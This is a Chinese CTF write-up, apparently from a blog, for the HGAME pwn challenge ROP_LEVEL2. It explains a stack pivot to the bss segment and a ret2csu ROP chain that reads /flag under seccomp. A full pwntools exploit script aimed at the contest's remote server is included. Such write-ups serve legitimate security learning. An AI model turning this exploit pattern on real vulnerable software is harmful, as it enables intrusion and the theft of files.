• HGAME pwn ROP_LEVEL2


      花了好多天,终于把这个题彻底弄懂了。。。自己太菜了

        下载文件,首先checksec检查一下保护。

      只开启了堆栈不可执行,接下来拖到IDA看一下C的伪代码。

        大致先让你输入,然后再次让你输入。

      第一次输入的话,会将输入的数据保存到bss段,第二次是向栈中输入数据,并且可以溢出。经过计算,正好可以溢出到覆盖rbp和返回地址。也就是我们构造的ROP链不能太长,这里就需要我们进行一步栈转移,将栈转移到bss段。

      如果栈转移呢?就是再覆盖rbp的时候我们需要将rbp覆盖成我们的假的rbp,然后执行leavel ret这样就我们就可以将栈转移过去,并且可以执行转移过去的命令。当然这里是要转移到bss段,因为bss段的数据我们是可控制的,可以执行我们的命令。

      还有就是这个题目,开启了seccomp,这是一种保护,开了这种保护除了白名单上面的函数,我们只能调用open、write、read函数,不能直接拿到shell,不过我们的目的就是拿到flag,已知flag在同目录下的/flag,这样我们就只能用这几个函数来获得flag了。

      在这里我们采用csu的方法给寄存器赋值来调用这几个函数。所以先payload这样构造。

    1 payload = '/flag\x00\x00\x00' # r12->call r13->rdx r14->rsi r15->rdi
    2 payload += p64(csu_end)+p64(0)+p64(1)+p64(open_got)+p64(0)+p64(0)+p64(buf_addr)+p64(csu_front)+ 'a'*0x8 + p64(0) + p64(1) + 'a'*0x20
    3 
    4 payload += p64(csu_end+2)+p64(read_got)+p64(0x20)+p64(flag_addr)+p64(4)+p64(csu_front)+'a'*0x38
    5 
    6 payload += p64(pop_rdi)+p64(flag_addr)+p64(puts_plt)

      第一行的payload,目的是为了输入open的参数,并且可以正好给rsp留位置占位。

      第二行,调用csu,给open加参数,相当于执行了open(“/flag”,0,0)

      第三行,在第二行的末尾覆盖的时候,我们已经又给rbp和rbx赋值了,这样我们第二次调用csu的时候就不用再次赋值了,这样可以减少rop链的长度。第三行相当于执行了read(4,flag_addr,0x20),至于那个4是怎么来的,大佬说这个叫流,是堆里的内容,暂时不要我懂。。。反正就是把open的读取到的数据写到flag_addr了。

      最后一行就很清楚了,利用puts函数输出flag。

    完整的exp:

     1 from pwn import *
     2 import time
     3 
     4 #p = process('./ROP_LEVEL2')
     5 p = remote('47.103.214.163',20300)
     6 elf = ELF('ROP_LEVEL2')
     7 context.log_level = 'debug'
     8 
     9 csu_end = 0x0400A3A
    10 csu_front = 0x0400A20
    11 puts_plt = elf.plt['puts']
    12 
    13 flag_addr = elf.bss() + 0x200
    14 buf_addr = 0x06010A0
    15 open_got = elf.got['open']
    16 read_got = elf.got['read']
    17 pop_rdi = 0x0400a43
    18 
    19 payload = '/flag\x00\x00\x00' # r12->call r13->rdx r14->rsi r15->rdi
    20 payload += p64(csu_end)+p64(0)+p64(1)+p64(open_got)+p64(0)+p64(0)+p64(buf_addr)+p64(csu_front)+ 'a'*0x8 + p64(0) + p64(1) + 'a'*0x20
    21 payload += p64(csu_end+2)+p64(read_got)+p64(0x20)+p64(flag_addr)+p64(4)+p64(csu_front)+'a'*0x38
    22 payload += p64(pop_rdi)+p64(flag_addr)+p64(puts_plt)
    23 
    24 p.recvuntil('so?\n')
    25 p.send(payload)
    26 
    27 sleep(1)
    28 leave_addr = 0x040090d
    29 payload1 = 'U'*0x50 + p64(buf_addr) + p64(leave_addr)
    30 p.recvuntil('flag\n\n')
    31 p.sendline(payload1)
    32 p.recv()
    33 p.close()

    运行一下,拿到flag!

  • 相关阅读:
    Linux课程实践一:Linux基础实践(SSH)
    《恶意代码分析实战》读书笔记 静态分析高级技术一
    Linux课程实践四:ELF文件格式分析
    Linux课程实践三:简单程序破解
    Linux课程实践二:编译模块实现内核数据操控
    2020.12.19 加分项和课程意见/建议
    博客已换
    [题解] LuoguP4983 忘情
    [题解] LuoguP4767 [IOI2000]邮局
    [题解] LuoguP2791 幼儿园篮球题
  • 原文地址:https://www.cnblogs.com/bhxdn/p/12325667.html
Copyright © 2020-2023  润新知